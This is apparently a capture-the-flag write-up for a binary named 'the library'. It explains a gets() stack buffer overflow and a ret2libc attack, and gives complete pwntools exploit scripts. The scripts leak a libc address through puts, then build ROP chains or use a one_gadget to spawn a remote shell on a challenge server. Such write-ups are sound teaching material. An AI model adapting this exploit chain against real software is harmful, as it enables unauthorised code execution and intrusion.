the library

The library was as simple as ret2libc can be.

Files

The binary

The program asks you to guess what book it is thinking about.

Buffer Overflow

The input is copied with gets to a 520 bytes long buffer, so we have yet another stack buffer overflow. To get the exact offset I used gdb:

Ret2libc

If you are not used to that concept, the post bellow might help:

pagex64 ret2libc

To leak libc base we can use rop gadgets to call puts passing a got address as argument.

#!/usr/bin/env python
from pwn import *

# Definitions
e = context.binary = ELF('./the_library',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)

io = remote('challenge.ctf.games', 31125)

rop = 552*'A'
rop += p64(0x401493) # pop rdi; ret
rop += p64(e.got['puts'])
rop += p64(0x4010e0) # puts@plt
rop += p64(e.sym['main'])

io.recvrepeat(0.03)
io.sendline(rop)

io.recvuntil('Wrong :(')
io.recvline()
leak = u64(io.recv()[:6].ljust(8,'\x00'))
libc.address = leak - libc.sym['puts']

After leaking the libc base, it all comes down to calculate the base offset to other gadgets such as system() or a one gadget. A neat way to fly through rop challenges is to just use pwntools.

libc_rop = ROP(libc)
libc_rop.execve(next(libc.search(b'/bin/sh')), 0, 0)

rop = 552*'A'
rop += libc_rop.chain()
io.sendline(rop)

io.interactive()

Although, if you are trying to learn about rop I think you should try to manually craft a rop chain, one way of doing it in the challenge is using a one gadget.

A few are available but we would have to set some registers to NULL.

In this case, r15 is already 0 when our payload is executed, so setting either rsi, rdx or r12 to 0 should get our one gadget to work.

This gadget should do it.

rop = 552*'A'
rop += p64(0x40148c) # r12; r13; r14; r15 = 0
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(libc.address + 0xe6c7e) # one_gadget

Final exploit

#!/usr/bin/env python
from pwn import *

# Definitions
e = context.binary = ELF('./the_library',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)

if args.REMOTE:
    io = remote('challenge.ctf.games', 31125)
else:
    io = process(e.path)

rop = 552*'A'
rop += p64(0x401493) # pop rdi; ret
rop += p64(e.got['puts'])
rop += p64(0x4010e0) # puts@plt
rop += p64(e.sym['main'])

io.recvrepeat(0.03)
io.sendline(rop)

io.recvuntil('Wrong :(')
io.recvline()
leak = u64(io.recv()[:6].ljust(8,'\x00'))
libc.address = leak - libc.sym['puts']
log.success('Libc: ' + hex(libc.address))

rop = 552*'A'
rop += p64(0x40148c) # r12; r13; r14; r15 = 0
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(libc.address + 0xe6c7e) # one_gadget

io.sendline(rop)

io.interactive()

Last updated